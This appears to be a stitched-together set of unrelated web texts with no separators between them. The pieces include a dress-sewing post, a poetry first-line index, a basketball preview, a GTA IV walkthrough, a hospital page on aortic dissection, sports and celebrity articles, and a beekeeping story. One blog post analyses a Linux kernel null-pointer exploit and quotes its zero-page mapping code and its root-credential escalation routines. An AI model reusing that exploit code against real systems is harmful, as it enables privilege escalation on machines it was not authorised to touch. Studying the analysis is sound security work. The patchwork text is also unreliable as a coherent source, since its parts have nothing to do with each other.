Red Stripe Dress
Added Mar 19, 2012
by melonhead
Roanoke, Indiana...
I made this dress for a formal event and I finished it litterally 10minutes before I had to leave! Haha talk about cutting it (pun intending!) close! The dress is based off of a Dior design that I saw a while back, but with a couple design adjustments. The pattern is my own.
All of the piping that you see on the bodice was hand sewn. The feathers on the skirt were sewn onto tulle panels using a baste stich and then they are hand sewn onto the tulle skirt. The zipper in the back is just attached to the bodice, then there's a placket with snaps sewn on, that connects the rest of the skirt. That way the zipper doesn't get in the way of the feathers. The dress is fully lined, but I'm thinking of going back and adding some pockets to the dress…I'm a huge fan of pockets! I'm pretty pleased with the way it turned out (although I'll be fine with not doing a project that involves hand sewing for a while. haha) I hope that you like it :)
Material Notes
Black sheet, black lining, red tulle, bias tape, invisable zipper, snaps, hook and eyes.

Stunning! Wish I had the patience for hand embellishing

Wow, this dress is fantastic, I love it! =D

This dress is amazing and I think you are incredibly creative. Your techniques are simple but your creativity of putting this dress together are outstanding. Not everyone can be so unique in their design of a dress. Most of us can follow a pattern really well and with skill but to come up with something so beautiful is another thing.

Cool dress. That must have been a lot of hand stitching! You have done a fabulous job.

Gloria Gaynor is 63 today. She is surviving! And you all deserve a pat on the back for surviving the first week of September! I'll stop now.
I dare you to try not to dance in your chair while watching the above video, no matter how many times you've heard it before. (10000000000? At least?)
Have a great weekend!

Gimme root!
February 17, 2011
I was looking at the Linux Kernel null-pointer dereferencing exploit in the /dev/net/tun, aka Cheddar Bay :P, written by Brad Spengler, and I came along some things I hadn't seen before.
In the pa__init function of the exploit, we try to mmap the zero page, and then we set it up accordingly in order to redirect to our "gimme root" code. 😛
The piece of code for the mmap looks like this:
if ((personality(0xffffffff)) != PER_SVR4) { mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); if (mem != NULL) { fprintf(stdout, "UNABLE TO MAP ZERO PAGE!\n"); return 1; } } else { ret = mprotect(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC); if (ret == -1) { fprintf(stdout, "UNABLE TO MPROTECT ZERO PAGE!\n"); return 1; } }
Thus, I learned that the SVR4 personality(generally when the MMAP_PAGE_ZERO flag is set in the personality) maps the zero page, and fills it with zeros, and that's why we use mprotect for SVR4, instead of mmap, since zero page is already mapped.
The gimme-root code, was also fun(spender did he best to mock SELinux :P). However the code that actually gives us root credentials is only 3 lines:
if (commit_creds && init_cred) { /* hackish usage increment */ *(volatile int *)(init_cred) += 1; commit_creds(init_cred); got_root = 1; }
where init_cred is the credential struct used by init(aka root :P), and commit_creds points to the kernel symbol/function which is used to manage credentials. spender gets the addresses of those symbols by parsing /proc/kallsyms. However, it seems that the init_cred symbol/struct is not exported, so instead maybe we could craft a new cred struct with uid/gid=0 and then call prepare_creds/commit_creds.
Afaik, this credential 'framework' was introduced with Linux Kernel 2.6.30, so spender provides another 'old-school' 😛 way to get root credentials, in older kernels:
/* for RHEL5 2.6.18 with 4K stacks */ static inline unsigned long get_current(void) { unsigned long current; asm volatile ( " movl %%esp, %%eax;" " andl %1, %%eax;" " movl (%%eax), %0;" : "=r" (current) : "i" (0xfffff000) ); return current; } static void old_style_gimme_root(void) { unsigned int *current; unsigned long orig_current; current = (unsigned int *)get_current(); orig_current = (unsigned long)current; while (((unsigned long)current < (orig_current + 0x1000)) && (current[0] != our_uid || current[1] != our_uid || current[2] != our_uid || current[3] != our_uid)) current++; if ((unsigned long)current >= (orig_current + 0x1000)) return; current[0] = current[1] = current[2] = current[3] = 0; // uids current[4] = current[5] = current[6] = current[7] = 0; // gids got_root = 1; return; }
which gets the current task's stack, searches for our uids/gids, and then it sets them to 0(aka root :P).
The exploit itself is brilliant, and LWN has two very nice articles, which explain how the exploit actually works(although spender has commented more than enough–commenting on Linux Kernel security, full disclosure of security bugs etc etc).

Index to First Lines
He went into the bush
Now this is the law
He went into the bush, and passed
He who but yesterday would roam
He who died at Azan sends
He wrought at one great work for years
High grace, the dower of queens; and therewithal
High grew the snow beneath the low-hung sky
High on a leaf-carvd ancient oaken chair
Hilloo, hilloo, hilloo, hilloo
His kiss is sweet, his word is kind
His life was private; safely led, aloof
Hist, hist, ye winds, ye whispering wavelets hist
Hold hard, Ned! Lift me down once more, and lay me in the shade
Ho! pretty page, with the dimpled chin
Ho, Sailor of the sea
How like her! But t is she herself
How like the leper, with his own sad cry
How little fades from earth when sink to rest
How long, O lion, hast thou fleshless lain
How many colors here do we see set
How many? said our good Captain
How many summers, love
How many verses have I thrown
How oft I ve watchd thee from the garden croft
How slowly creeps the hand of Time
How steadfastly she worked at it
How strange it is that, in the after age
How sweet the harmonies of afternoon
How the leaves sing to the wind
How would the centuries long asunder
I am lying in the tomb, love
I am Miss Catherines book
I am no gentleman, not I
I am that which began
I am the spirit astir
I bend above the moving stream
I bloom but once, and then I perish
I came in light that I might behold
I cannot forget my Joe
I cannot sing to thee as I would sing
I charge you, O winds of the West, O winds with the wings of the dove
I come from nothing; but from where
I come to visit thee agen
I come your sin-rid souls to shrive
I dance and dance! Another faun
I do not ask, O Lord, that life may be
I do not dread an alterd heart
I dreamd I saw a little brook
I dreamd that I woke from a dream
I drew it from its china tomb
If a leaf rustled, she would start
If all the harm that women have done
If all the world were right
If I could paint you, friend, as you stand there
If I could trust mine own self with your fate
If I desire with pleasant songs
If I forswear the art divine
If in the years that come such thing should be
If it were only a dream
If love were what the rose is
If not now soft airs may blow
If one could have that little head of hers
If only a single rose is left
If only in dreams may man be fully blest
I found a flower in a desolate plot
I found him openly wearing her token
If she be made of white and red
If she but knew that I am weeping
If the butterfly courted the bee
If there be any one can take my place
If there were dreams to sell
If thou wilt ease thine heart
If Transmigration eer compel
If you be that May Margaret
I gave my life for thee
I give my soldier-boy a blade
I Had a true-love, none so dear
I have a strain of a departed bard
I have been here before
I have lovd flowers that fade
I have stayd too long from your grave, it seems
I have subdued at last the will to live
I have two sons, wife
I have wept a million tears
I heard last night a little child so singing
I heard the dogs howl in the moonlight night
I heard the voice of Jesus say
I hear the bells at eventide
I hear the low wind wash the softening snow
I held her hand, the pledge of bliss
Iits edges foamed with amethyst and rose
I know not how to call you light
I know not of what we ponderd
I know that these poor rags of womanhood
I learnd his greatness first at Lavington
I leave thee, beauteous Italy! no more
I like the hunting of the hare
I listend to the music broad and deep
I lovd him not; and yet now he is gone
I love my Lady; she is very fair
I m a bird that s free
I m sittin on the stile, Mary
I must not think of thee; and, tired yet strong
In a coign of the cliff between lowland and highland
In after days when grasses high
In Carnival we were, and suppd that night
In Childhoods unsuspicious hours
In dim green depths rot ingot-laden ships
I never lookd that he should live so long
In green old gardens, hidden away
In his own image the Creator made
In mid whirl of the dance of Time ye start
In praise of little children I will say
In ruling well what guerdon? Life runs low
In silence, and at night, the Conscience feels
In summer, when the days were long
In sunny girlhoods vernal life
In teacup-times! The style of dress
In the early morning-shine
In the earththe earththou shalt be laid
In the golden morning of the world
In the heart of the white summer mist lay a green little piece of the world
In the high turret chamber sat the sage
In these restrained and careful times
In the still air the music lies unheard
In the white-flowerd hawthorn brake
In the wild autumn weather, when the rain was on the sea
In this May-month, by grace
In thy white bosom Love is laid
In torrid heats of late July
Into the Devil tavern
I rested on the breezy height
I rise in the dawn, and I kneel and blow
I sat at Berne, and watched the chain
I sat beside the streamlet
I sat unsphering Plato ere I slept
I sat upon a windy mountain height
I sat with Doris, the shepherd-maiden
I saw a new world in my dream
I saw a poor old woman on the bench
I saw in dreams a mighty multitude
I saw, I saw the lovely child
I Saw old Autumn in the misty morn
I saw old Time, destroyer of mankind
I saw Time in his workshop carving faces
I see him sit, wild-eyed, alone
I see thee pine like her in golden story
I send my heart up to thee, all my heart
I sit beside my darlings grave
Is it not better at an early hour
Is nt this Josephs son
I sought to hold her, but within her eyes
I sprang to the stirrup, and Joris, and he
Is this the man by whose decree abide
I still keep open Memorys chamber: still
I stood to hear that bold
I strove with none, for none was worth my strife
Italia, mother of the souls of men
It hardly seems that he is dead
I think a stormless night-time shall ensue
I think on thee in the night
I thought it was the little bed
I thought of death beside the lonely sea
I thought once how Theocritus had sung
It is buried and done with
It is the season now to go
It little profits that an idle king
It may be we shall know in the hereafter
It once might have been, once only
I too remember, in the after years
Its masts of might, its sails so free
It was a day of sun and rain
It was her first sweet child, her hearts delight
It was not in the winter
It was the calm and silent night
I ve taught thee Loves sweet lesson oer
I, Virgin of the Snows, have livd
I wadna gie my ain wife
I wanderd by the brook-side
I was an English shell
I was a wandering sheep
I watchd her as she stoopd to pluck
I went a roaming through the woods alone
I will not have the mad Clytie
I will not let thee go
I will not rail, or grieve when torpid eld
I worship thee, sweet will of God
I would I had thy courage, dear, to face
I would not, could I, make thy life as mine
I would not give my Irish wife
I would that we were, my beloved, white birds on the foam of the sea
I write. He sits beside my chair
I write. My mother was a Florentine
I wrought them like a targe of hammered gold
Jesus, I my cross have taken
Just as I am, without one plea
Just for a handful of silver he left us
Juxtaposition, in fine; and what is juxtaposition
Kathleen Mavourneen! the gray dawn is breaking
Keen was the air, the sky was very light
Kentish Sir Byng stood for his King
King Charles, and who ll do him right now
Lady Alice, Lady Louise
Lady and gentlemen fays, come buy
Lady Anne Dewhurst on a crimson couch
Last April, when the winds had lost their chill
Last night, among his fellow roughs
Last night the nightingale waked me
Lay me low, my work is done
Lead, Kindly Light, amid the encircling gloom
Lead us, heavenly Father, lead us
Leave me a little while alone
Let me at last be laid
Let me be with thee where thou art
Lie still, old Dane, below thy heap
Life and Thought have gone away
Lifes not our own,t is but a loan
Light flows our war of mocking words, and yet
Light words they were, and lightly, falsely said
Like a huge Python, winding round and round
Like a musician that with flying finger
Like crownd athlete that in a race has run
Like souls that balance joy and pain
Lily on liquid roses floating
Little harp, at thy cry
Little Lettice is dead, they say
Lo, as some bard on isles of the Aegean
Lo, I am weary of all
Long ago, on a bright spring day
Long night succeeds thy little day
Long years their cabin stood
Look at me with thy large brown eyes
Look in my face; my name is Might-have-been
Lord Cæsar, when you sternly wrote
Lord, for to-morrow and its needs
Lord, in thy name thy servants plead
Loud roared the tempest
Love, by that loosened hair
Love held a harp between his hands, and, lo
Love in my heart: oh, heart of me, heart of me
Love not, love not! ye hapless sons of clay
Loves priestess, mad with pain and joy of song
Love took my life and thrilld it
Love we the warmth and light of tropic lands
Lo, what a golden day it is
Lo! where the four mimosas blend their shade
Low, like anothers, lies the laurelled head
Maidens, kilt your skirts and go
Make me over, mother April
Make thyself known, Sibyl, or let despair
Make way, my lords! for Death now once again
Man is permitted much
Many a hearth upon our dark globe sighs after many a vanishd face
Many love music but for musics sake
Marian Drury, Marian Drury
Mellow the moonlight to shine is beginning
Melpomene among her livid people
Methinks the soul within the body held
Methought, as I beheld the rookery pass
Methought the stars were blinking bright
Mid April seemed like some November day
Mistress of gods and men! I have been thine
Monsieur the Curé down the street
Mother, I cannot mind my wheel
Mother wept, and father sighd
Move me that jasmine further from the bed
Mowers, weary and brown, and blithe
My body sleeps: my heart awakes
My days are full of pleasant memories
My fairest child, I have no song to give you
My Fair, no beauty of thine will last
My first thought was, he lied in every word
My God (oh, let me call thee mine
My good blade carves the casques of men
My hero is na deckd wi gowd
My hopes retire; my wishes as before
My life ebbs from meI must die
My little boy at Christmastide
My little dear, so fast asleep
My little love, do you remember
My little son, who lookd from thoughtful eyes
My Lord Tomnoddys the son of an Earl
My love and I among the mountains strayed
My Love dwelt in a Northern land
My love he went to Burdon Fair
My masters twain made me a bed
My own
My roof is hardly picturesque
My soul, asleep between its body throes
My times are in thy hand
Nae shoon to hide her tiny taes
Naiads, and ye pastures cold
Nancy Dawson, Nancy Dawson
Nature, a jealous mistress, laid him low
Nature and he went ever hand in hand
Nay, Death, thou art a shadow! Even as light
Nearer, my God, to thee
Near where yonder evening star
News to the king, good news for all
Nineteen! of years a pleasant number
No coward soul is mine
No, my own love of other years
None ever climbed to mountain height of song
Nor force nor fraud shall sunder us! O ye
No sleep like hers, no rest
Not a sound disturbs the air
Not I myself know all my love for thee
Not mid the thunder of the battle guns
Not only that thy puissant arm could bind
Not on the neck of prince or hound
Not yet, dear love, not yet: the sun is high
Now dumb is he who waked the world to speak
Now glory to the Lord of hosts, from whom all glories are
Now hands to seed-sheet, boys
Now has the lingering month at last gone by
Now heap the branchy barriers up
Now, sitting by her side, worn out with weeping
Now the day is over
Now the rite is duly done
Now this is the law of the jungle, as old and as true as the sky

The East Tennessee Lady Bucs open their 2000-01 Southern Conference season when they face off against the Davidson Wildcats Wednesday night from the Belk Arena in Davidson N.C.
East Tennessee State Lady Bucs (0-5,0-0) at Davidson Wildcats (4-2, 0-1)
Wednesday, December 6, 2000, 7:00 p.m.
Belk Arena (5,700), Davidson, N.C.
The Last Time Out: The Lady Bucs made a spirited second-half rally, but could not overcome a early deficit as they fell to the Radford Highlanders, 89-76, Wednesday night Nov. 29 ... After trailing 44-33 at halftime, ETSU went on a 7-0 run to begin the second stanza ... Junior guard Erin Thurman sparked the rally, scoring 14 of her 17 points in the second half ... The Lady Bucs cut the lead to three at 57-54 with 9:05 to play, but the Highlanders ran off six unanswered points to regain control and hold on for the win ... ETSU also received strong games from sophomore Misty Copas (13 points, 5 rebounds) and freshman guard Racquel Ellis (13 points).
The Lady Bucs Against Davidson: The last time the Lady Bucs and Wildcats squared off was an 85-75 victory for Davidson on Feb. 1, 2000 ... ETSU had four players score in double-digits (Erica Babb, Erin Thurman, Chris Forman and Angie Fickes), but Davidson shot an unbelieveable 63.8 percent from the floor, including 6-12 from behind the arc ... The Lady Bucs and Wildcats have split their season series in each of the last two seasons, with the home team winning each game.
Thurman Heating Up: Junior guard Erin Thurman has averaged 16.5 points over the Lady Bucs last two games ... She has nailed seven three-pointers, and is 8-10 from the free-throw line in that span ... Thurman dished out five assists against Radford last Wednesday night.
Trantham Off To a Hot Start: Freshman forward Lauren Trantham has led the Lady Bucs in rebounding in four of her first five collegiate contests ... She also led ETSU in scoring with 11 points in their game against Memphis in the first round of the Lady Tiger Classic on Nov. 24 ... She registered back-to-back double-doubles in both games of the Lady Tiger Classic.
SoCon Leaders: Freshman forward Lauren Trantham is ranked third in the Southern Conference in rebounding with 7.8 per game ... Trantham is also second in offensive rebounding (3.4 pg) and eleventh in defensive rebounding (4.4 pg) ... Junior guard Erin Thurman is fourth in the conference with 1.8 three-pointers per game.
SoCon Consistency: The Lady Bucs' finished 12-6 last season in the Southern Conference ... The 12 wins tied a school record for conference wins set in 1998-99 when the Lady Bucs finished 12-5.
Number Change: Sophomore guard Samantha Copeland makes the switch from number 34 to 32 for the 2000-01 season.
Success in High Numbers: Last winter, the Lady Bucs were 13-2 when scoring 70-or-more points; 9-0 when scoring 80-or-more points ... The Lady Bucs were 7-1 when scoring 80-or-more points and 14-3 when scoirng 70-or-more points in 1998-99.
The Head Coach: Seventh-year head coach Karen Kemp has compiled a 83-86 (.491) record at ETSU ... She is the second winningest coach in Lady Buc basketball history and trails first-place Susan Yow by 35 victories ... Kemp passed former coach Debbie Richardson for second place on the all-time list with a 90-63 win over Western Carolina on February 22, 2000.
Lady Bucs in the Classroom: Three Lady Bucs, Angie Fickes, Chris Forman and Rachel Glass made the Southern Conference academic honor roll last season ... More impessively, the three guards were all repeat selections ... It was Forman's third such honor and Glass and Fickes' second ... This year, Forman will attempt to become the first Lady Buc to make the SoCon honor roll all four years.
The Lady Bucs on the Airwaves: The Lady Bucs' January 2nd game against Chattanooga will be televised live by Comcast/Charter Sports Southeast at 5:00 p.m. ... It is a part of an ETSU/Chattanooga doubleheader on CSS as the men's game between the two teams will also be televised following the women's matchup.
Lady Bucs tabbed fifth: ETSU was picked fifth by Southern Conference coaches in the SoCon preseason coaches poll ... The Lady Bucs finished third last season in the final conference standings.
Southern Conference Preseason Coaches Poll:
Teams (first place votes in parentheses) Votes
Chattanooga (9) 81

When you arrive, you'll find Packie hanging out with some guys, including two of his much-spoken about brothers who have recently arrived back on the scene. They want to bring Niko along on the next mission (because Packie is so fond of him, after all), but some of the guys have reservations. One of Packie's brothers even talks a little smack to Niko to let him know that he doesn't trust him. Regardless, once the discussion ends, you're thrust into yet another dangerous mission with Packie and company.
Boost a car if you don't already have one in your possession, and, making sure it can accommodate four passengers, pick up your friends. Your destination is a bank on the south end of Algonquin. To get there from Packie's place in Dukes, you're likely gonna be brought south to Broker, and then west to Algonquin via the Broker Bridge heading over Colony Island. All the while, you and your hoodlum friends will be talking about the plan, the explosives being used to blow the safe up, and more. The bank itself is in Chinatown, on Calcium Street. Once there, park in front and watch the rather lengthy cutscene ensue.
As Niko and the boys bust into the bank, they find it populated by several customers and employees. Wielding heavy weapons, they order everyone to get on the ground, and fumble a bit with instructions on getting the bank tellers to open the back door so they can access the safe to plant explosives on it. Meanwhile, the gunners split up to keep an eye on everyone. Unfortunately for one civilian in particular, he wields a gun and kills one of the robbers only to be killed himself, and this causes everyone to get even angrier (not to mention the fact that all sorts of no-no identifiers are being used all throughout). Eventually, the cops will be onto the scene, and you'll gain control of Niko.

GE Capital Exec Sees Boating Recovery in 2011
April 1, 2011 by RVBusiness · Comments Off on GE Capital Exec Sees Boating Recovery in 2011
After several years of low tide in the marine industry, 2011 may be the year that finally lifts all boats, Specialty Fabrics Review reported.
"The marine industry is starting to see signs of recovery as we move past the recession," says Jeff Malehorn, president and CEO of GE Capital's Commercial Distribution Finance (CDF) at the Miami International Boat Show, held Feb. 17-21.
A survey released by CDF showed that 38% of respondents expected sales to increase in 2011, and 54% said the best time for dealers to increase inventory levels is now. Sales of lower-ticket items, such as aluminum boats and recreation boats, are rebounding faster than luxury yachts.
The biggest obstacles to growth, according to the marine dealers and manufacturers surveyed, were consumer demand (70%) and reduced level of showroom and field inventory (40%).

Personalized care, close to home.
Froedtert South is a leader in cardiovascular care. We provide the latest tests and procedures to diagnose and treat heart and vascular conditions.
Aortic dissection is a tear or partial tear in the lining of the largest blood vessel in the body, the aorta. This tear allows blood (and the pressure of the blood flow) to penetrate the arterial wall. Over time, this continuous flow can cause the aorta to rupture--a condition that most people do not survive.
There are two types of aortic dissections, although sometimes both conditions occur:
Aortic dissections are commonly found in people with high blood pressure, arteriosclerotic vascular disease, in individuals with a family history of aortic (or thoracic) dissection and more rarely associated with congenital cardiovascular disorders (Marfan's syndrome, Ehlers-Danlos syndrome, and congenital valvular disorders).
"Stabbing" pain in the back is a common symptom of an aortic dissection. In some cases, people present with pain in the chest. This pain may be confused with angina (commonly referred to as "chest pain" and a warning sign of a possible heart attack). The main difference between pain resulting from dissection of the aorta, and angina due to lack of blood supply to the heart muscle, is its sudden and intense onset. The pain is characterized as a "ripping" or "tearing" sensation. This sudden pain can be felt in the back, chest, neck, or jaw.
These are important differences to understand. Why? Because a common recommendation to those with angina or "chest pain" (that may result in a heart attack) is to chew an aspirin to thin the blood. This is NOT the case if you are experiencing an aortic dissection. Thinning the blood for a person with aortic dissection may cause more blood to leak out of the aorta. This internal bleeding can lead to death.
In some cases, people do not experience any pain. Instead, you may experience any of the following symptoms:
If you or someone you know is experiencing any
of the above symptoms, call 9-1-1 immediately to get to a hospital. The
survival rate increases dramatically the sooner a person is treated for an
aortic dissection.
The key to diagnosing an aortic dissection is to confirm that it is in fact a dissection and not a heart attack, and which type it is (as the treatment options vary significantly).
The gold standard for diagnosing aortic dissection is a computed topography (CT) scan. Other imaging studies may be required to identify the type and location of the dissection. These include:
Three treatment options exist for an aortic dissection: 1) medical management, 2) interventional catheterization, and 3) cardiovascular surgery. Depending upon the location and severity of the dissection, your physician will decide which option is best for you.
A small percent of cases (5 - 10%) are Type B dissections (dissections of the descending aorta). This condition can be treated with surgical repair, but it carries significant risk. Typically, your doctor will monitor the condition periodically and prescribe medications to control the dissection.
The techniques used to treat dissections are as follows:

Filling in as referee, Sunil Gulati kept an eye on the action as the Downtown United Soccer Club team on which his son plays competed against the Brooklyn Patriots.
Soccer prez says overcoaching youth misses the goal
By Judith Stiles
When Sunil Gulati, the president of the U.S. Soccer Federation, showed up in Brooklyn to watch his young son play soccer for the Downtown United Soccer Club Dynamos on an ordinary Saturday afternoon, it was lucky for him he wore his running shoes, because he was suddenly handed a whistle and asked to referee the game, after the regular referee failed to make an appearance. Gulati, 47, had planned to quietly observe the games as he usually does, blending in with the other parents, and camouflaging the fact that he is really the man in charge of the entire universe of soccer in the United States. Few at the game recognized him as the "single most important person in the development of soccer in this country," as he has been described by Alan Rothenberg, former U.S.S.F. president and Major League Soccer founder.
Without missing a beat, Gulati became an instant referee who actually ran up and down the field the entire game, unlike your typical amateur ref who stands there like a tree, squinting at the action. And if how Gulati refereed his son's game is any indication of how he will perform as the newly appointed president of the soccer federation, the development and growth of soccer in America is in good hands. First, Gulati was completely fair and did not show any signs of favoritism in his calls. Second, he was so engaged in the action of the game that he ran the pitch as fast as the players and was attentive to every detail, without missing a call. Even the picky parents were satisfied. His whistle and signals were crisp and commanding, and after the game the unwitting Brooklyn Patriots wanted to know why this man wasn't a regular referee, with one parent lamenting that Gulati should have been hired for the 2006 World Cup.
Little did the Patriots parents know that Gulati had snagged plum seats at the recent World Cup games in Germany, where he bumped into another soccer dad whose kids coincidently played soccer at Chelsea Piers, a guy named Spike Lee. Together the dads enjoyed the games as they also puzzled over why so many talented young American athletes gravitate toward playing basketball, football and professional baseball, rather than soccer. Look no further than the almighty dollar that is a deterrent at both the entry level of U.S. youth soccer and at the professional level, where if a player makes it to the M.L.S., the salary caps do not have any allure compared to the bucks to be made in baseball, football and basketball.
Gulati is well aware that when young players start focusing on a single sport such as soccer, the cost of being noticed in tournaments and showcases can be prohibitive. For example, in just a few short years his son Emilio will turn 13. Assuming his team has a successful run and wins the State Cup, the Regional Championship, perhaps the National Cup in the Super Y League or gets accepted to the prestigious Dallas Cup, each player is looking at an additional annual expense of $4,000 to $6,000 a year. This can easily rise to $10,000 per year by the time they are full-blown teenagers, when they would hope to be scouted at national showcases for colleges or pro soccer. What family is willing to cough up this kind of money which is not considered by many as a cost-effective investment if the player stands to make so much more money in other pro sports? Is this partly why Derek Jeter, Jose Reyes and Kobe Bryant the latter known to juggle soccer balls in Nike commercials did not choose soccer way back when?
Gulati, who was born in Allahabad, India, and moved to Connecticut at age five, sees leveling the playing field in youth sports as a priority in his work at the U.S.S.F., making the opportunity to play serious soccer more available to economically disadvantaged kids.
"One of the challenges is to get more players from minority communities into good soccer programs," he emphasized. "Kids from middle-class families find their way through the maze more easily and that gives them an advantage," says Gulati, sitting behind his desk at Columbia University, where he is a wildly popular economics professor. He also lives on the Upper West Side. Looking into his crystal ball of expertise in economics, he bluntly admits that soccer in the United States is not attracting talented European players in their prime, and we have become a mere springboard for Latin American players to hop overseas to play where the money, the fan base and the glory lies. However, he still believes that exciting teams can be developed in the U.S. with its population of 300 million, where an estimated 12 million youngsters are involved in soccer.
You can bet Gulati is a great poker player, because when prodded about who might be the next head coach for the U.S. National Team, Gulati is holding his cards close to his vest and not giving away any hints. According to his wife, Marcela, however, who was watching on the sidelines, there are, in fact, eight candidates in the running who are being carefully considered.
As for the game between the DUSC Dynamos and the Patriots, the Greenwich Village side won handily, 5-1, with Gulati's son scoring a deft one-touch goal on a cross. Always the referee, Gulati refrained from jumping up and down, though, keeping on his poker face after his son scored.
In spite of his pleasant reticence, Gulati willingly shares that on the youth level he prefers coaches who have an expertise in soccer, who are able to impart that knowledge and, most of all, who believe the central element of the game should be enjoyment.
"Kids in the U.S.A. tend to have too much coaching, too much instruction and too much emphasis on tactics," said Gulati surrounded by shelves of analytical books in his office.
During Ref Gulati's game, Peter Eaves, a British fellow, ran up and down the sidelines as well, only he was chasing an energetic toddler, while his daughter Victoria played in the game.
In between sprints, a winded Eaves astutely observed that the federation might make the daring decision of picking a head coach for the Men's National Team who would decide to develop a young team of fresh players, with an eye toward winning the World Cup in 2014, instead of 2010. This might be a wise soccer decision; but Gulati and the federation are on the hot seat, with impatient fans demanding they produce a winning team A.S.A.P., especially after the skittish and embarrassing performance of our National Team at this year's World Cup.
All eyes are on Gulati and the federation to see if they can put together a program that creates a world-class winning team. Eaves is confident that his fellow soccer dad has the expertise to lead the way. If money makes the world go round, then a professor of economics is likely to unravel the mystery of whether or not ending salary caps in the pros, and eliminating high fees in youth soccer are panaceas for U.S. soccer. Perhaps he is looking for the answers as he watches and runs, and refs in the little petri dish of Emilio's games on the local soccer pitch.

Every marriage has its ups and downs — but very few have the added pressure of cameras capturing every hiccup.
That's why Kris Jenner confessed to Us Weekly (at Kendall and Kylie Jenner's Seventeen cover party in L.A. Thursday night) she's having a hard time sitting through Season 7 of Keeping Up With the Kardashians.
Married to Bruce Jenner since 1991, Kris, 56, said everyone in the family had their "own challenges to get through" over the course of the season.
Her personal challenge? Marital tensions. "I watch it back and I'm like, 'Oh my God, I can't watch,'" the Kardashian matriarch admitted. "It's so crazy painful that I can't watch it."
On Sunday's episode of Keeping Up With the Kardashians, Kris reunited with a former fling, Todd Waterman, behind her husband's back, determined to get "closure" 23 years after their affair. (The self-proclaimed "momager" cheated on her late husband, Robert Kardashian, Sr., with Waterman).
Hoping to do the right thing, Kris came clean to Bruce following her meet-up with Waterman — but he didn't take her admission all that well.
"What an idiot you are!" he seethed. "I don't know how I can trust you!"
Daughters Kim, Kourtney and Khloe Kardashian sided with their stepdad — Khloe even called Kris a "whore" — and urged their mom to take a lie detector test to prove, once and for all, her meeting with Waterman meant nothing. (Kris passed the test.)
Since then, Kris said, she and Bruce have managed to put their rough patch behind them.
"Bruce and I are okay and that's all that matters," she shared. "The kids understand. It's just hard to watch. I just can't wait until Season 8!"

Half an original interpretation of Heidegger's early work and half an attempt to buttress the sociology of scientific knowledge (SSK) with a more philosophically rigorous grounding, Science as Social Existence will be interest not only to Heidegger scholars but to anyone engaged in science and technology studies...This is an informative and original book. Kochan should be praised for his clear, pleasant-to-read prose.
M. Butler, University of Texas Rio Grande Valley for CHOICE
In this bold and original study, Jeff Kochan constructively combines the sociology of scientific knowledge (SSK) with Martin Heideggers early existential conception of science. Kochan shows convincingly that these apparently quite different approaches to science are, in fact, largely compatible, even mutually reinforcing.
By combining Heidegger with SSK, Kochan argues, we can explicate, elaborate, and empirically ground Heideggers philosophy of science in a way that makes it more accessible and useful for social scientists and historians of science. Likewise, incorporating Heideggerian phenomenology into SSK renders SKK a more robust and attractive methodology for use by scholars in the interdisciplinary field of Science and Technology Studies (STS). Kochans ground-breaking reinterpretation of Heidegger also enables STS scholars to sustain a principled analytical focus on scientific subjectivity, without running afoul of the orthodox subject-object distinction they often reject.
Science as Social Existence is the first book of its kind, unfurling its argument through a range of topics relevant to contemporary STS research. These include the epistemology and metaphysics of scientific practice, as well as the methods of explanation appropriate to social scientific and historical studies of science. Science as Social Existence puts concentrated emphasis on the compatibility of Heideggers existential conception of science with the historical sociology of scientific knowledge, pursuing this combination at both macro- and micro-historical levels.
Beautifully written and accessible, Science as Social Existence puts new and powerful tools into the hands of sociologists and historians of science, cultural theorists of science, Heidegger scholars, and pluralist philosophers of science.

With the days getting longer, you'll be out of the house, enjoying wine events (sans snow or cold weather) late into the evening. So I wanted to talk to you a little about cabs. Contrary to popular belief, Cincinnati does have taxi cabs and they do serve more than just our airport. Shocking, I know. 😉
FETCH is a local service, launched by C-Change, that makes calling a cab a lot easier. All you need to remember is
Plug that into your mobile phone right this minute.
FETCH delivers immediate access to over 8 different cab companies that serve the Cincinnati-Northern Kentucky region. No holding, no busy signals. You are put through to the first available cab company. You can tell them where you are and to please come get you now.
If you've got a smartphone, be it an Android, Blackberry, or iPhone (or anything else), there is most likely a taxi app for your phone. No kidding. Go to the iTunes store and search for "taxi." It's ridiculous the number of apps that are available.
On my Android-powered phone, I really like Cab4Me, which I've used in various cities (also now available for iPhone). Cab4Me uses your GPS or cell signal to figure out where you are, and then shows you a list of local cab companies. If you're traveling, this is a godsend. After all, you might find yourself standing on a street corner in the Mission District of San Francisco, with a sick friend, wondering where in the world all the cabs have gone. If that happens, it's handy to have an app that will tell you not only what the nearest cab companies are, but where the nearest taxi stand is located.
According to the Cab4Me web site:
If a cab company is found in our database, you can get additional information like available car types or payment methods. If we do not have a cab company for your area, a local web search is performed. You will always get a result. In the Favorites tab you can quickly access your favorite companies and the recent tab shows companies you recently called.
Isn't that great? You'll even be able to request a minivan so that you and all of your slightly tipsy friends can pile into the same cab.
Regardless of how you find a cab, just make sure you find one. It's okay to enjoy yourself, and enjoy yourself a lot – just be safe about it.

I love the idea of beekeeping — of a happy, humming hive right there in my backyard, providing honey, beeswax, and busy pollinators not just for my garden but for my neighbors' gardens, as well. But the natural processes of bees and honey production, I admit, have always been daunting and mysterious to me.
Until, that is, this autumn when my friend Patrick, a lifelong beekeeper who lives up in my native Rabun County, Georgia, invited my family (primarily my six-year-old niece and me) to help him extract honey from his hives. Avril has been apprenticing with Pat since last year. All suited up and looking like a gnome in hazmat, last fall she helped him smoke the hives in order to open them up and examine honey production levels for the year. Patrick made sure she understood exactly what she was doing, too. He gave her a beautifully illustrated book that explained the architecture and social order of the hive, the role each different type of bee plays, how a queen is made, how they make honey, and how we come along and harvest it. At the age of five, Avril knew more than I did about honeybees.
By the time we arrived at Pat's house for the extraction party in late September, I had done a little bit of remedial work to catch up with Avril (Pat and I recently had spent several hours together on a driving trip, and he very patiently explained things to me and answered my questions). Pat had prepared us: wear old clothes, an apron, and a bandanna over your hair; bring some old shoes you can easily slip on and off; prepare to get sticky! He had already "robbed" the hives and brought the supers — those are the boxes that look like drawers — into his basement, the floor of which was covered with heavy plastic. Each one had a dozen frames full of honeycomb, and each cell of the comb was full of honey.
My task was to take a hot knife (sizzling hot! The electrically heated knife burned the wax and honey and filled the room with smoke if I moved too slowly) and slice the caps off each side of the honeycomb cell. Then I would help Avril load the frame of open, oozing comb into the extractor.
